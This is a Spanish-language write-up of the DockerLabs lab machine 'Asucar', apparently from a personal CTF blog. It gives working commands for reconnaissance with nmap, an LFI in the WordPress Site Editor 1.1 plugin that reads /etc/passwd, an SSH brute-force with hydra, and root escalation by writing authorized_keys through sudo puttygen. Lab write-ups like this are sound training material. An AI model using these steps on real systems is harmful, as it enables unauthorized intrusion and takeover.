maciferna
  • 🖥️Whoami
  • 📚Writeups
    • BugBountyLabs
      • Corsy
    • DockerLabs
      • 0xc0ffee
      • 404-Not-Found
      • Allien
      • Anonymouspingu
      • Apolos
      • Asucar
      • Backend
      • BadPlugin
      • Balulero
      • Borazuwarahctf
      • Bruteshock
      • Buffered
      • Candy
      • Chmod-4755
      • Corruptress
      • Cracker
      • Crackoff
      • Dance-Samba
      • Darkweb
      • Debugme
      • Devil
      • Devtools
      • Eclipse
      • Express
      • File
      • Findyourstyle
      • Flow
      • Forgotten_Portal
      • Gallery
      • Hackmedaddy
      • Hidden
      • Inj3ct0rss
      • Injection
      • Insanity
      • Jenkhack
      • Lfi.elf
      • Life Or Dead
      • Mapache2
      • Master
      • Machupichu
      • Mirame
      • Paradise
      • Patria Querida
      • PingPong
      • Pntopntobarra
      • Pressenter
      • Raas
      • Report
      • Reverse
      • Rubiks
      • R00tless
      • Seeker
      • Sender
      • Showtime
      • Sites
      • Smashing
      • Spain
      • Stack
      • Stellarjwt
      • Stranger
      • SubVersion
      • The Dog
      • UserSearch
      • Vulnvault
      • Vulnerame
      • Wallet
      • Winterfell
    • HackMyVM
      • Hero
      • MagiFi
    • HackTheBox
      • Puppy
    • The Hackers Labs
      • Casa Paco
      • Shadow Gate
      • Token Of Hate
    • Vulnyx
      • Lost Tape
Con tecnología de GitBook
En esta página
  • Reconocimiento
  • Intrusión
  • Escalada De Privilegios
  1. Writeups
  2. DockerLabs

Asucar

AnteriorApolosSiguienteBackend

Última actualización hace 5 meses

Máquina Asucar de DockerLabs

Autor: The Hackers Labs

Dificultad: Medio

Reconocimiento

Comenzamos con un escaneo de nmap:

nmap -sSVC -p- --open --min-rate 5000 -Pn -n -vvv 172.17.0.2 -oN escaneo.txt
# Nmap 7.95 scan initiated Fri Jan 10 16:18:28 2025 as: nmap -sSVC -p- --open --min-rate 5000 -Pn -n -vvv -oN escaneo.txt 172.17.0.2
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.000012s latency).
Scanned at 2025-01-10 16:18:28 -03 for 15s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 64:44:10:ff:fe:17:28:06:93:11:e4:55:ea:93:3b:65 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBK2mR4ZHERhhZkS6oA/37T+5m7Kv7i6Bzxx5P62opMNRmFStGK9uXi0hybtfyK6LhU0llQjBm2Yok45ExbRDP78=
|   256 2d:aa:fb:08:58:aa:34:8d:4f:8a:71:b9:e4:b5:99:43 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDl/MgMW7LMnrd5ESXJMi5ReeYP9/NJEFB/UkyYaWUVu
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Asucar Moreno
|_http-generator: WordPress 6.5.3
|_http-server-header: Apache/2.4.59 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan 10 16:18:43 2025 -- 1 IP address (1 host up) scanned in 15.64 seconds

En el escaneo ya podemos ver varias cosas:

• Puerto 22: OpenSSH 9.2p1 Debian

• Puerto 80: Apache httpd 2.4.59 & WordPress 6.5.3

viendo esto ya tenemos cosas útiles.

Puerto 80

Luego de intentar varias cosas en el wordpress, intento ver algún plugin que use la página y encuentro lo siguiente:

curl "http://172.17.0.2" | grep plugins --color
<link rel='stylesheet' id='general-css' href='http://asucar.dl/wp-content/plugins/site-editor/framework/assets/css/general.min.css?ver=1.1' media='all' />

vemos varias cosas pero lo importante es eso, ya que nos muestra un dominio y además un plugin, el cual si revisamos en: site-editor_path

veremos que es la versión 1.1, por lo que luego de buscar encuentro que esa versión del plugin permite un LFI. Exploit-db

Intrusión

Para lograr el LFI, debemos entrar en el siguiente path:

http://172.17.0.2/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

a la cual si entramos veremos lo siguiente:

Ahora tenemos un usuario llamado "curiosito", al cual si le hacemos fuerza bruta con hydra podremos obtener su contraseña:

hydra -l curiosito -P /opt/rockyou.txt 172.17.0.2 ssh

por lo que para entrar lo haremos con ssh curiosito@172.17.0.2.

Escalada De Privilegios

Curiosito

Al revisar los permisos con sudo -l, me encuentro con lo siguiente:

Matching Defaults entries for curiosito on dockerlabs:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User curiosito may run the following commands on dockerlabs:
    (root) NOPASSWD: /usr/bin/puttygen

esto significa que podemos ejecutar puttygen como el usuario root, por lo que podriamos generar unas claves de ssh para poder conectarnos nuevamente pero como root sin necesidad de contraseña. Para lograr esto primero debemos generar la clave rsa:

puttygen -t rsa -o id_rsa -O private-openssh

esto nos generará una clave privada rsa la cual se llama "id_rsa", ahora lo que haremos será guardarla en /root/.ssh/authorized_keys:

sudo puttygen id_rsa -o /root/.ssh/authorized_keys -O public-openssh

eso guardará la clave pero la clave pública con el nombre "authorized_keys", lo que nos permitirá escalar a root ejecutando lo siguiente:

chmod 600 id_rsa && ssh -i id_rsa root@127.0.0.1

Root

Gracias por leer ;)

📚
Asucar
LFI
Password
Root